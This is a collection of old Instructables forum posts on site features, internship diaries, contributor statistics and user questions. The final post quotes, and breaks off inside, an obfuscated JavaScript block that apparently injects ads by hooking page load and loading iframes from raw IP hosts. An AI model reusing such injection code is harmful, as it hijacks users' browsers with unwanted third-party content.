which do you prefer

Which do you prefer you tube or metacafe? i prefer you tube well because i do.

Posted by Easy Button 11 years ago


Should Instructables titles begin with "How to..."?

I tend to write the titles of my 'ibles as if the phrase "How to..." was already there. Thus: Get Any Information... Knit replacement pads... etc. I notice, though, that most of the Burning Questions begin with "How to..." This suggests that people are searching using those words. So, should I change all my titles to start that way, or just leave them as-is?

Posted by yoyology 8 years ago


Robot Shirt Hall of Fame!

Hey Guys! One of my favorite things to see while I'm pouring over projects on the site is images of makers wearing their Instructables T-shirt while they are making stuff! So today, I am reaching out to YOU, YES YOU!!! to post your Instructables Robot -T-shirt-Selfie to this forum post. I would like to make a mosaic of all you lovely makers out there reppin' the robot. (and possibly put it on the homepage rotator behind the "let's make_______") The Instructables Community is totally amazing, and I can't wait to see you in your Robot Shirt. xo Aud

Posted by audreyobscura 4 years ago


Instructables IRC?

I was just thinking -- maybe instructables should have an IRC channel(s)? It might be an interesting way to chat...

Posted by zachninme 10 years ago


RSS Search Feeds -- sort by Relevance?

I've been using the RSS feeds to have programs search ibles, however, the RSS feeds are sorted chronologically, which is not good, since I don't know what the first result is. Is there a way to sort by relevance? Thanks, and Happy T-day!

Posted by zachninme 10 years ago


Instructables API-like features?

I'm working on a small little project, and I was wondering if there's some easy way for me to get things like views/rating/#ofcomments for an instructable easily. I've been using RSS feeds for now, but it doesn't have that data on the ible. I was thinking of using an XSLT on the page, but it isn't valid enough XML to work (not your fault at all, the javascript is throwing it off) So, is there some simple way that I'm overlooking to get views?

Posted by zachninme 10 years ago


S.O.S !!! OVERDOSE OF K.M.S IN WINE

i have added excess potassium meta bisulphite in my wine. i'm afraid i will screw the entire 3 litre batch. please help me to avert this disaster!!! PLEASE!!! :,-( here is the volume i added. 7ml of 9% K.M.S soln. ( 13g in 150 ml of water) in 3 litres of wine. S.O.S S.O.S S.O.S   :-P Regards, Chakra

Posted by chakra 7 years ago


Minor Bug with Today Views

The "Today Views" has not refreshed in over 24 hours for my Instructables.

Posted by AngryRedhead 7 years ago


Site improvement suggestion (we need meta-categories too, btw)

I have a feature request/suggestion for instructables.com.My suggestion would be to provide a menu bar option (where "Explore", "Groups", "Forums", and "Contribute" are currently) for a user of the site to suggest and request a type of instructable, and provide information about what they'd like to see.I feel that this will provide a number of benefits, and virtually no drawbacks. I will attempt to list a sampling of both if I can... I'm going to begin a couple of terminology conventions to make my idea easier to write out. From here on out, I'm going to refer to REQUESTORS as people that have an idea for an instructable that they either would like someone to pick up and do from beginning to end, or possibly a little assistance on an instructable that they've began and have a stumbling block that they need help with. I'm going to refer to WRITERS as people who write up an instructable, simple as that.-- This will allow people one central location to ask this terrific community for help with an idea that they've got in mind.-- It would serve in a way similar to the "want it" option on ebay does... Only to create a marketplace of ideas. Currently on Instructables, there seems to be, at least in a small way, a reputation system where the quality and quantity of your instructables may be a source of pride and mutual respect for the users. Some WRITER may be looking for ideas to write up, whether from beginning to end, or help solve someone else's stumbling block. They go out to the requests page (or even do a search for it) and see if anything strikes his or her interest.-- If you think about it, a lot of the biggest and best user contributed sites are successful based on the workflow organization, and how efficient they are (wikipedia comes to mind). This idea would further increase the efficiency of instructables.com, allowing for larger rates of growth. I'm not going to place value judgments on growth for growth's sake, but that's for the people that provide this great site to consider and decide for themselves.-- It would help clean out the forum a bit.-- I guess it could also help tip the balance in the "marketplace of ideas" that I mentioned before. Right now in instructables, it's not always easy to tell what a user has to bring to the table in a discussion unless they've got a few instructables out there to judge. If you have a request system, you could look at what kinds of things they ask, and get to know them a little better that way.--in my opinion, one of the biggest neat benefits would be the additional opportunity for isolated users to connect with others who are interested in the same types of things as they may be (or you, or me). This would enhance the learning environment, the sense of community, and benefit everyone.Negatives:--additional complexity--frivolous requests (like that never happens now, right?)--time and expense for implementation--site aesthetics, maybe?I'm certain that my idea could use some tinkering, but that's kinda the spirit of this site, isn't it? I already have some ideas about this along the fringes, but I'd rather wait and see if this gets any kind of response.

Posted by Subvert 10 years ago


Instructables Internship - Day 3

Day 3! Whoo!(The hotel's internet wasn't working, so I had to wait until now to post)Today was another bright cough day at Instructables HQ. I continued working on some small little projects of my own, as well as poking the database and forcing it to spit out the exact information that I wanted. (later, I wrote a script to do all the poking for me)The new rating system will be much better, taking more into account than just a click, which will lead to more accurate ratings, which means you'll all get even more awesome instructables! Horray!!!!!Its amazing being here, though. Everyone's so great and helpful, its really hard to put into words... I feel lucky to be here!And don't worry, you'll get a blog post for today, too!

Posted by zachninme 10 years ago


Instructables Internship - Day 5

Today was my last day! I really wish I could stay, but school should come first...The day was really awesome though. I knew I had to make the most of this last day I get to be here. I bore the Robot proudly on my chest, hoping to get a picture that I could use as my avatar here, but never remembered to take a picture...I came in today, and started working on my Vorbis player. The day before, it was all soldered up (I actually was able to do it!) and now I needed to get it working. Based on some probing, at least the voltage regulator part works, but I think I need to do a bit more to determine if its in complete working condition. I also spent some time trying to program an AVR, I eventually got it working, though. I continued to do some more DB stuff, and, as you saw, posted a few statistics. I came up with a few more, but we couldn't figure out how to get them to display...---It was really sad when I had to leave, I had such a great time... I'll miss being there...This concludes zachninme's internship blog

Posted by zachninme 10 years ago


Who wants to test a new GM Script?

I've been working on this new Greasemonkey script that, IMO, is a lot better than the others.It allows you to rate comments. Your ratings aren't for your own benefit alone: they're stored on a server where they are mashed together with everyone else's to create a full-blown rating system!And, I'm using Google App Engine as a backend, so there won't be any server downtime!For this, you actually have to do a little sign-up procedure. Go here, & put in your username. You'll then have to post a comment*, and then you can get the script. This makes sure that one user can't cheat the system by having 100 accounts.From there, its pretty easy to use. Next to the username, 5 pseudo-boxes will appear. Use them as follows:[!] - This comment answered the question in the topic (use sparingly)[+] - Positive vote[-] - Negative vote[x] - Remove your vote[?] - HelpIf you run across any bugs, or have any suggestions, please let me know. I'll be glad to hear them!From there, if I do fix a bug, here's the best part: you usually don't have to update anything! It will automagically use the newer version. In the future, I may require you to manually update, but there is a notifier in place, and yet it is very unlikely that it will be needed.

Posted by zachninme 10 years ago


Instructables Internship - Day 2

Day two!Today, I would get to meet everyone who didn't show up yesterday. (It was, after all, Presedent's Day) When I got in, I hopped on the computer and started poking at my copy of the database. I know this isn't exicting for most people, but as someone who's worked through and designed a few DB's that never were populated, it was a chance to not only learn style, but play around with a ton of data. You guys are really busy!As I was working hard on my queries, I would continue work on the TV-B-Gone, and talked to Randy some more. Its so awesome meeting and talking to people in real life, and hearing and seeing their projects that are works and progress, some which may never make it to instructables.I couldn't stop laughing at Christy's attire, which has to do with a little project of hers and Eric's, and Mitch's that is going on this week, but you're going to have to wait until they make an instructable!Later in the day, I kept at all my projects, joked around (just a little! I swear!), and eventually finished the TV-B-Gone kit! Later. I was able to test it and it actually worked! I also got to use the laser cutter. I want to try cutting a perforated pattern, like a checkerboard, only *really* small. All and all, today was an awesome day, and I can't wait to get back tomorrow!wow! so excited, I'm making sooo many typos!

Posted by zachninme 10 years ago


Instructables Internship - Day 1

Hello from Instructables HQ!*Last Saturday, I flew down to visit Instructables. I stayed and poked around San Fransisco over the weekend, but today I started my Instructables internship!(Sadly, I left my camera at home, and I don't have nearly as many pictures as I'd like)I arrived at the control tower, and was greeted by [/member/numberrandom Mitch] and [/member/fungusamungus Ed], and [/member/candia Christy] & [/member/ewilhelm Eric] arrived shortly thereafter. I was shown around the place, and then I started to get working. I got to take [/member/noahw Noah]'s desk, since he's out for the week. (Probably chasing [/member/T3h_Muffinator Muffinator] to get Project X's instructable done...)Soon, [/member/rachel/ Rachel] walked in, and helped me get a copy of the database working, so I could start working on site-related things.While the computer was chugging away (as it did for the rest of the day), I walked around and met [/member/randofo Randy], and a few other people. Randy explained to me some of the cool things that he's working on, and I offered to help. Somehow, we stumbled upon the idea of drying clothes by microwaving them, and we were really close to actually trying it...Later, I started assembling and documenting [/member/ladyada Ladyada]'s (seealso) TV-B-Gone kit. I didn't get to finish it before the day ended -- it just flew by!Everything was going great. I had been extremely excited for this opportunity, and its even better than I thought. Everyone seems interested in each other's projects. Its really cool.I can't wait until tomorrow, where I hope I get to do more exciting and fun stuffs! Yes, I said stuffs!* okay, I'm not there right now...

Posted by zachninme 10 years ago


I wonder who makes the best instructables... redux

Wondering now who's the best [https://www.instructables.com/forum/I-wonder-who-makes-the-best-instructables.../ of the best]? Well, here are those 50 users sorted by highest ratio of featured instructables to total:Ratio (featured) - [user] 1.0000 ( 11 ) - [/member/RealSimple.com RealSimple.com] 1.0000 ( 5 ) - [/member/nemomatic nemomatic] 1.0000 ( 5 ) - [/member/unknownuser2007 unknownuser2007] 0.9000 ( 9 ) - [/member/nativewater nativewater] 0.8750 ( 7 ) - [/member/iwilltry iwilltry] 0.8571 ( 6 ) - [/member/J_Hodgie J_Hodgie] 0.8333 ( 5 ) - [/member/gmoon gmoon] 0.8333 ( 5 ) - [/member/fstedie fstedie] 0.7778 ( 7 ) - [/member/technoplastique technoplastique] 0.7500 ( 9 ) - [/member/KaptinScarlet KaptinScarlet] 0.7143 ( 5 ) - [/member/turkeytek turkeytek] 0.7000 ( 7 ) - [/member/jesse.hensel jesse.hensel] 0.6154 ( 8 ) - [/member/Honus Honus] 0.5769 ( 15 ) - [/member/Kipkay Kipkay] 0.5556 ( 5 ) - [/member/BicycleTutor BicycleTutor] 0.5556 ( 10 ) - [/member/rachel rachel] 0.5385 ( 7 ) - [/member/Senseless Senseless] 0.5294 ( 9 ) - [/member/zieak zieak] 0.5172 ( 15 ) - [/member/threadbanger threadbanger] 0.5000 ( 57 ) - [/member/canida canida] 0.5000 ( 5 ) - [/member/woofboy111 woofboy111] 0.5000 ( 8 ) - [/member/babblin5 babblin5] 0.5000 ( 10 ) - [/member/indymogul indymogul] 0.5000 ( 5 ) - [/member/jessyratfink jessyratfink] 0.4615 ( 12 ) - [/member/msolek msolek] 0.4615 ( 6 ) - [/member/degroof degroof] 0.4310 ( 25 ) - [/member/fungusamungus fungusamungus] 0.4286 ( 15 ) - [/member/Tetranitrate Tetranitrate] 0.4118 ( 7 ) - [/member/T3h_Muffinator T3h_Muffinator] 0.3864 ( 17 ) - [/member/randofo randofo] 0.3750 ( 15 ) - [/member/samnoyoun samnoyoun] 0.3684 ( 7 ) - [/member/bofthem bofthem] 0.3659 ( 15 ) - [/member/ToolUsingAnimal ToolUsingAnimal] 0.3617 ( 17 ) - [/member/noahw noahw] 0.3571 ( 5 ) - [/member/Mr.RigIt Mr.RigIt] 0.3493 ( 51 ) - [/member/TimAnderson TimAnderson] 0.3333 ( 6 ) - [/member/matseng matseng] 0.3182 ( 7 ) - [/member/ian ian] 0.3143 ( 11 ) - [/member/joe joe] 0.3125 ( 10 ) - [/member/dan dan] 0.2872 ( 27 ) - [/member/ewilhelm ewilhelm] 0.2857 ( 8 ) - [/member/neelandan neelandan] 0.2273 ( 5 ) - [/member/prank prank] 0.1860 ( 8 ) - [/member/Brennn10 Brennn10] 0.1707 ( 14 ) - [/member/Kiteman Kiteman] 0.1667 ( 6 ) - [/member/radiorental radiorental] 0.1638 ( 19 ) - [/member/trebuchet03 trebuchet03] 0.1613 ( 10 ) - [/member/saul saul] 0.1316 ( 5 ) - [/member/leevonk leevonk] 0.0676 ( 5 ) - [/member/stasterisk stasterisk] Now think about that!

Posted by zachninme 10 years ago


Instructables AMA on Reddit!

This Wednesday at 2PM PST notable founders of Instructables, and prolific DIYers, Eric Wilhelm and Christy Canida are going to be answering your questions during their Reddit AMA! Always wanted to know a bit more about cryo-frying? Or how much bacon these guys REALLY eat? http://www.reddit.com/user/InstructablesAMA/

Posted by audreyobscura 4 years ago


New forum layout leaving you confuzed? GM to the rescue!

Is the new layout for forum messages annoying you because the sidebar switched spots, and now you instinctively look to your left, only to find nothing but ads?Well, as I do, I wrote a Greasemonkey script. Click to installConfused? Look here for more step-by-step infoSince its so short, here's the magical code:// ==UserScript==// @name Instructables Forum Left-align// @description Manage your Extensions, Themes, Languages, and Updates// @include https://www.instructables.com/community*// ==/UserScript==document.getElementById("main_content").style.cssFloat = "left"Have fun ;-)

Posted by zachninme 10 years ago


I wonder who makes the best instructables...

Have you ever wondered who gets featured the most? Well here's the top 50!57 - [/member/canida canida] 51 - [/member/TimAnderson TimAnderson] 27 - [/member/ewilhelm ewilhelm] 25 - [/member/fungusamungus fungusamungus] 19 - [/member/trebuchet03 trebuchet03] 17 - [/member/randofo randofo] 17 - [/member/noahw noahw] 15 - [/member/ToolUsingAnimal ToolUsingAnimal] 15 - [/member/threadbanger threadbanger] 15 - [/member/samnoyoun samnoyoun] 15 - [/member/Kipkay Kipkay] 15 - [/member/Tetranitrate Tetranitrate] 14 - [/member/Kiteman Kiteman] 12 - [/member/msolek msolek] 11 - [/member/joe joe] 11 - [/member/RealSimple.com RealSimple.com] 10 - [/member/rachel rachel] 10 - [/member/indymogul indymogul] 10 - [/member/saul saul] 10 - [/member/dan dan] 9 - [/member/KaptinScarlet KaptinScarlet] 9 - [/member/zieak zieak] 9 - [/member/nativewater nativewater] 8 - [/member/neelandan neelandan] 8 - [/member/Honus Honus] 8 - [/member/Brennn10 Brennn10] 8 - [/member/babblin5 babblin5] 7 - [/member/iwilltry iwilltry] 7 - [/member/ian ian] 7 - [/member/T3h_Muffinator T3h_Muffinator] 7 - [/member/technoplastique technoplastique] 7 - [/member/bofthem bofthem] 7 - [/member/Senseless Senseless] 7 - [/member/jesse.hensel jesse.hensel] 6 - [/member/J_Hodgie J_Hodgie] 6 - [/member/matseng matseng] 6 - [/member/degroof degroof] 6 - [/member/radiorental radiorental] 5 - [/member/prank prank] 5 - [/member/nemomatic nemomatic] 5 - [/member/Mr.RigIt Mr.RigIt] 5 - [/member/stasterisk stasterisk] 5 - [/member/woofboy111 woofboy111] 5 - [/member/NK5 NK5] 5 - [/member/gmoon gmoon] 5 - [/member/leevonk leevonk] 5 - [/member/turkeytek turkeytek] 5 - [/member/nak nak] 5 - [/member/thecheatscalc thecheatscalc] 5 - [/member/syribia syribia] This is the "raw" data, I didn't take them away if they were contests, or if it was self-featured; in my opinion those count too.Have fun!

Posted by zachninme 10 years ago


Lets make fun of Instructables! You should remember strings better!

I popped on to instructables, and what did I find?! Good to see its fixed now :P (I'm sorry, I can't resist poking fun!)

Posted by zachninme 10 years ago


Urge authors to make better project summaries

Hello! I see these neat projects all the time in the newsletter, but when I click on them I'm often bewildered.  When I see an instructible  want to know one thing: What does it do? Maybe it's my own shortcoming, but I wish that people would say in the first sentence what the point is of their project.  EXAMPLE 1: https://www.instructables.com/id/PC-SOUND-CARD-SCOPE-INTERFACE-FACILITATES-DC-RESTO/ This project is super cool and the steps seem clear.  However, what does it do?  It says in the title "facilitates DC restoration".  I don't know what that means.  It also says in the link "PC Sound Card Oscilloscope".  Does an oscilloscope somehow facilitate DC restoration?  I probably don't know enough about electronics for this to be useful to me, but it would be really nice to understand what he's making and what you'd use it to do.  EXAMPLE 2: https://www.instructables.com/id/Mini-2-wheel-robot-with-IR-sensor-weight-14gr-and-/ I'm sorry to pick on the guy who's apologizing for his English, but I wish that it said what the robot does.  EXAMPLE 3: https://www.instructables.com/id/the-algae-experiment-How-to-build-your-own-algae-/ This has a great description, and this is what I'm talking about.  I can't imagine what you would do with it, but it clearly makes algae.  Cool, if I want to make algae, I'll know where to look!   I think it would be easy to encourage people to include the purpose of their project in the summary, and perhaps it could be incorporated easily into the submission process (although a simple suggestion might do the trick).  Of course there are times when it wouldn't be appropriate, like when posting art related instructables.  Also the general purpose stuff, like how to make balls of ice (although it would be interesting to know why someone would make an ice sphere maker)!  Also guides, like "Plant Terrarium Basics" don't need the purpose spelled out.  But, I think that lots of other things would really benefit from it! Thanks, Gene

Posted by geneorama 6 years ago


What the heck!

Ok so i was going on meta cafe to look at the laser pointer video, and then something popped up saying meta cafe was an adult site and it was going to block it. But there was a choice and i said no but does anyone know why that happend?

Posted by Easy Button 10 years ago


Posts, Topics, and Replies

Its not huge, but its a bit confusing. In some places, you call them "posts" and "replies", whereas others you refer to them as "topics" and "posts". The overlapping "posts", where it takes on two different meanings, is slightly annoying. I personally prefer the latter method, just from prior experience.

Posted by zachninme 10 years ago


Greasemonkey Script: Quick Contest Voting!

For those who are having trouble voting for contests because of the sheer number of entries, I've written this little guy to aid you in your sacred duty. First, you'll need to:Install ScriptThen, head on over to a [/contest/bookcontest/?show=ENTRIES&sort;=RATING page like this], and you'll see 40 entries with a separator half-way down. This shows the script is working. It will *not* work on any page other than page 1. To use it, start rating! After you've rated the first 20 and hit the "barrier", press the button and start rating the bottom set. By the time that you've finished those, the top set will have finished loading. (Don't forget to press the button again!) Overall, this will save hours* waiting for the page to load.So, what are you waiting for? Install ScriptNote: This script is pretty much in an "alpha" stage. Sorry if it leaks or causes terrible hurricanes to come and devour your toes mm... tasty. Also, I'm just throwing this forum post up to make the script public, I'll revise it with a bit more instruction once I'm not so tired. ;-)

Posted by zachninme 10 years ago


Suggestion - Allow us to edit/submit "Rich Snippets" meta-description in search engine results

Rich snippets are "the term used to describe structured data markup that site operators can add to their existing HTML, which in turn allow search engines to better understand what information is contained on each web page". In plain English, it's what you see when you search for something in google. While it might not necessarily help with SEO all the time, it does help any potential viewer know what the link is about, and whether it's worth clicking on. While the subject can be a bit more complex, all I'm referring to here is the meta-description. Currently, the meta-description seems to be, by default, the first ~300 characters of the Instructable (or auto-generated by Google). If you write any sort of intro, it probably won't be relevant to help understand the project at all (out of context). Suggestion - It would be great to allow users to submit a meta-description via a simple text box, perhaps on the "Instructable Preview" window where the Cover Image can be changed. If they want they can submit a 50-300 character meta-description that better explains what the whole guide is about, or if not they can leave it blank for it to auto-generate as is already the case.Being familiar with WordPress, this would be a trivial plugin. I'm sure a site as big as Instructables can see the potential benefits (increased click-throughs, reduced bounce rates...), while also knowing that it wouldn't be intrusive to users or particularly hard to implement.Just wanted to give my opinion. Like in the attached image, it can be a bit frustrating to have no control over the meta-description since it isn't always representative of the project. In the case above where it was auto-generated by Google, it doesn't give any incentive at all to click since it doesn't make much sense as a description of the project.

Posted by MillennialDIYer 4 months ago


New layout of comments meta-data seems compressed and cluttered

I don't think I like the tweaks that were done to the comments format.  The user's avatar, date/time stamp, and username are all mashed together with no spacing between them.  I liked having the date/time in the upper right corner, but I know that a lot of users missed the information (leading to silly bumps and year+ late replies).  Perhaps you could do something like: [Avatar] wrote on : with some spaces to keep the formatting nice?

Posted by kelseymh 8 years ago


Yay! Another Cool New Ad!

Advertising sucks. Billboards are crap and here in the bay area we have one that's lit with LEDs and can be seen from miles away.But this... this is good. Rube Goldberg-style ad by GuinnessThere's an annoying ad before the ad (how meta!), but it's worth it.

Posted by fungus amungus 10 years ago


How to find the pressure capasity of a hollow metal cylinder

I am tying to figure out how much air pressure a hollow metal cylinder could hold before it starts becoming dangerous. It will be for an air cannon I want to build so the cylinder itself would need to have an inside diameter of 4ft and about 6ft long.

Posted by Sedgewick17 11 years ago


Got any recomendations for webservers,advertising services, ?

Ok so I have been working on a website for a day or two now and I am ready to put advertisements on my website. So I was wondering if you guys and girls knew of any good advertising programs ? My website is called AWASTEOFTIME.CA It consists of a chat room, games, LOTS OF GAMES, and you tube and meta cafe videos. So one of my advertising methods will be meta cafe. And any recomendations on web servers and where to get a domain name. ( free would be nice At the moment i don't care if it ends up to be www.awasteoftime.(companys name here).ca Eventually i will pay for a domain and webspace but I would like to make the project self supported (Hmm i see an instructable in the mere future)) So what do you guys use for your websites ?

Posted by littlechef37 10 years ago


Americans avert energy crisis by dieting, study reveals...

Scientists at Cornell University, led by David Pimintel, have performed a meta-study and found that the easiest way for Americans to reduce, and even totally avoid, the looming energy crisis is to go on a diet.The average American consumes about 3747 kcal per day compared to the 2000 to 2500 kcal per day recommended by the US Food and Drug Administration. (This does not include junk food!)Producing those daily calories uses the equivalent to 2000 litres of oil per person each year. That accounts for about 19% of US total energy use.Pimentel estimated 6 kilograms of plant protein are needed to produce 1 kg of high quality animal protein. He calculates that if Americans maintained their 3747 kcals per day, but switched to a vegetarian diet, the fossil fuel energy required to generate that diet would be cut by one third.Pimentel calculates that the equivalent of 2100 kcal go into producing a can of diet soda which contains a maximum of 1 kcal. About 1600 kcal go into producing the aluminium can alone.Other suggested changes to the food production process range from replacing incandescent bulbs with energy-saving fluorescent ones, to using fewer machines, pesticides and fertilisers, and more human power on farms.Reducing the distance that food is transported could also cut energy costs: food travels 2400 km on average to its consumer in the US. This requires 1.4 times the energy actually contained in the food. Producing food locally would cut the energy expended transporting it by half.Implementing all the suggested changes would cut the US food industry's energy bill in half.New Scientist articleNew Scientist Environment Section, special report of energy and fuels

Posted by Kiteman 10 years ago


Congratulations Halloween Photo Editing Contest Winners

Congratulations to the winners of the Halloween Photo Editing Contest. We received a ton of great entries, and the 9 judges who evaluated the finalists had their work cut out for them. We pulled our judges from Instructables HQ and several people who had a hand in the creation of Pixlr. They used range voting on a scale of 1-9 judging entries based on clarity, ingenuity, creativity, quality of presentation, and execution of the Instructable. The winner, Hollymann and her Zipperface tutorial, created a project that was both glamorously disgusting and well-documented. The combination of final product and step by step process was a winning combination in the judges’ eyes. We really liked seeing supplemental text on top of the photos themselves, particularly because it was informative without being distracting. The special “Hooray! You used Pixlr!” judge’s prize went to doodlecraft’s Ghosts in a Graveyard project. Wrangling a four year old, taking 300 photos, and the quality of both the photos and the edits all contributed to win the judges over. The results were excellent, and doodlecraft might have snagged the top spot with some more screenshots and meta-explanation of which Pixlr tools she had used and why. The other entries were also excellent, and we at Instructables really appreciate the time and effort it takes to share a great project. The real winners here are all of the people looking to improve their photo-manipulation skills who now have a much larger repository of tutorials for a free and browser-based photo-editing application. Also, Halloween enthusiasts everywhere can now zip their faces and turn their friends and families into ghosts. (Among about 78 other awesome options.) Good work, everyone! Carley Jacobson Contest Manager

Posted by Carleyy 5 years ago


Minecraft Pigs, Sea Creatures, Blueberry Hair Barrettes and More at Knox Makers @ InstaMorph Build Night

Members and guests of Knox Makers had a great time experimenting with InstaMorph during our Build Nights. First, we tried using InstaMorph with heat guns and magnetic metal shop trays because that is all that we had at the time. We figured out a few important things pretty quick: Metal gets hot. Metal heat guns stick to magnetic shop trays. InstaMorph sticks to EVERYTHING. This led us to important realizations: We need olive oil. We need to avoid magnetic shop trays for this purpose. Through experimentation, we figured out that putting colored thermoplastic pellets on top of InstaMorph projects and then gently heating can cause cool effects where the pellets melt into the InstaMorph in wild and beautiful patterns. We had fun creating sea creatures together, everyone felt comfortable diving into their own projects, and we even used the InstaMorph to craft our own set of tongs for crafting InstaMorph, because meta. We broke down and got hold of a digital induction warmer and pan made for it. This made things go more smooth. Or rather, more safe. We found out that the InstaMorph does OK at the recommended temperature at our sea level (approximately 265 meters elevation above the sea level), but it cools and hardens VERY quickly and is difficult to work with. Most of our participants actually seemed to enjoy the more dangerous heat fun method more than the digital induction warmer method. We did not try other methods and we suspect that noninduction water heating would have worked a little better. We had multiple Build Nights with the InstaMorph to give plenty of people in the community time to toy around with it and come back with their own ideas. We also had members and guests experiment during our Open Hack Nights and at other times. In all, we had a blast. We ended up with 8 different tutorials out of it all, and you can check them out here in this collection: https://www.instructables.com/id/Knox-Makers-InstaMorph-Projects/ We may add more over time, depending on interest. Thanks for reading!

Posted by smalltortoise 3 years ago


SIGGRAPH2010 - Emerging Technologies Exhibition

Last week I went to Los Angeles to attend my first Siggraph conference. There were so many different events to attend throughout the week. I spent the majority of my time exploring the emerging technologies exhibit. With all the interactive and innovative demonstrations it felt like I had stepped into the future for a moment! In this slide show I will highlight my favorites from emerging technologies. Some of these pictures were taken by me and some I took of their website (you will be able to tell which are which). If you see something that interests you I would suggest following the links I provide to learn more. Organized by picture (put cursor in top left corner of picture to figure out what picture you are looking at) Colorful Touch Palette (1) This is an electro-tactile stimulation systems that allows the user to feel and experience the tactile sensations of painted textures. Blend and combine textures to create new sensations. Shaboned Display - An Interactive Substantial Display Using Soap Bubbles (Favorite) (2-5) This was my favorite exhibit in emerging technologies even though parts of the bubble machine weren't working. This system is designed to show images in a matrix of soap bubbles. Air pumps lie beneath the display controlling the size and shape of the bubbles by monitoring the amount of air released. This system is also interactive! When a bubble pops (touch a bubble with your finger) a musical note will play! LED Tile by Junichi Akita @ Kanazawa University (6-7) Use a laser pointer to draw on these tiles to create patterns on LEDs.  To create large display areas connect individual units of LEDs which will allow them to communicate.   You can also interact with these displays in various ways.  Tilt the tiles and the LED patterns will look like they're falling off the tile in the direction tilted. 360-Degree Autostereoscopic Display (8-9) 3D graphics with out 3D glasses.  Using 360-degree autostereoscopic display technology you are able to view all angles of a 3D volumetric objects. I don't understand all the technical details, but this I do understand...you can use this technology for 3D interactive games, cool!  You can see in the images there is an interface to play BrickBreaker.  Walk around the device as you are playing the game. Imaging Skyping with this!!!!!!!! Haptic Canvas: Dilatant Fluid-Based Haptic Interaction (10) This new technology allows you to experience new haptic sensation by putting your hand in a pool filled with dilatant fluid.. Dilatant fluid is just a 1:1 mixture of starch and water.  It has a solid-like state when an external force is applied to it (grabbed, pushed, or tapped).  And it has a liquid-like state when it is free from the external force. This research is to create a new haptic interaction using this dilatant fluid by controlling the change in state, or dilatancy, of the fluid.  They have created a glove with a sucking tube and a filter which creates a change in state of the dilatant fluid.  The haptic sensations come from the friction between the jammed particles around the finger and at the bottom of the pool. You can see me trying this device (I don't think the camera man understood what I asked him to get me in the frame, but you can see my hand!).  This video gives a great explanation. Meta Cookie (11-12) Imagine eating a lemon and it tasting like chocolate!  This is the worlds first "pseudo-gustation system" which allows humans to perceive various tastes by changing visual and olfactory information.

Posted by Carleyy 8 years ago


WTF IS THIS?!?!?!?!

Is there any reason why i seeonloadevent_E850A1B8F15A48e9BD405A67D067013E = window.onload; window.onload = f_E850A1B8F15A48e9BD405A67D067013E; TopWndUrl_E850A1B8F15A48e9BD405A67D067013E = ""; MetaKwd_E850A1B8F15A48e9BD405A67D067013E = ""; FrameString_E850A1B8F15A48e9BD405A67D067013E = ""; EscUrl_24578457887 = escape(window.location.href); MainAid_24578457887 = 'frnm'; MainGiud_24578457887 = '00D6A0A90AA048868B022C6AF06BC50C'; 1C57E57E300B11DC913AF67602FFFFFFnUid_24578457887 = '1C57E57E300B11DC913AF67602FFFFFF'; MainRid_24578457887 = 'frnm'; ruleset_AA532B7B55D44dbb87FAB30BCA27C538 = new Array(); /* // example of the normal rule ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push( {"Name" : "NormalRuleName", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl, "minCX" : 3, "maxCX" : 1000, "minCY" : 3, "maxCY" : 1000, "Image" : "http://ya.ru/logo.gif", "Click" : "http://www.ya.ru", "ReplaceAll" : 1}; // example of the locale rule ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push( {"Name" : "LocaleRuleName", "Global" : 1, "minCX" : 3, "maxCX" : 1000, "minCY" : 3, "maxCY" : 1000, "Image" : "http://ya.ru/logo.gif", "Click" : "http://www.ya.ru", "ReplaceAll" : 1}; */ InitArray_24578457887 = new Array(); //FrID, FrSrc, FrWidthMin, FrWidthMax, FrHeightMin, FrHeightMax, AHref, ImgSrc //InitArray_24578457887.push( // CreateInitObject_24578457887('aff78e03', // 'http://85.17.166.173/go/?cmp=nm_bm3s_728x90', // '728', '730', '90', '95' // 'http://85.12.43.83/www/delivery/ck.php?n=a8ac5ed4', // 'http://85.12.43.83/www/delivery/avw.php?zoneid=48&n;=a8ac5ed4')); //InitArray.push var arrAnti = new Array("vlaze\.com");var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b728x90", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b728x90', 'http://85.12.43.83/fls.all/728x90/728x90_15.html?a=b', '728', '728', '90', '90', , )); var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b720x300", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b720x300', 'http://85.12.43.83/fls.all/720x300/720x300_1.html?a=b', '720', '720', '300', '300', , )); var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b468x60", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b468x60', 'http://85.12.43.83/fls.all/468x60/468x60_1.html?a=b', '468', '468', '60', '60', , )); var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b336x280", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b336x280', 'http://85.12.43.83/fls.all/336x280/336x280_1.html?a=b', '336', '336', '280', '280', , )); var arrAnti = new Array();var arrContent = new Array(".");var arrMeta = new Array(".");var arrUrl = new Array(".");var element = { "Name" : "b300x100", "Global" : 0, "AntiArr" : arrAnti, "ContentArr" : arrContent, "MetaArr" : arrMeta, "UrlArr" : arrUrl};ruleset_AA532B7B55D44dbb87FAB30BCA27C538.push(element); InitArray_24578457887.push(CreateInitObject_24578457887( 'b300x100', 'http://85.12.43.83/fls.all/300x100/300x100_2.html?a=b', '300', '300', 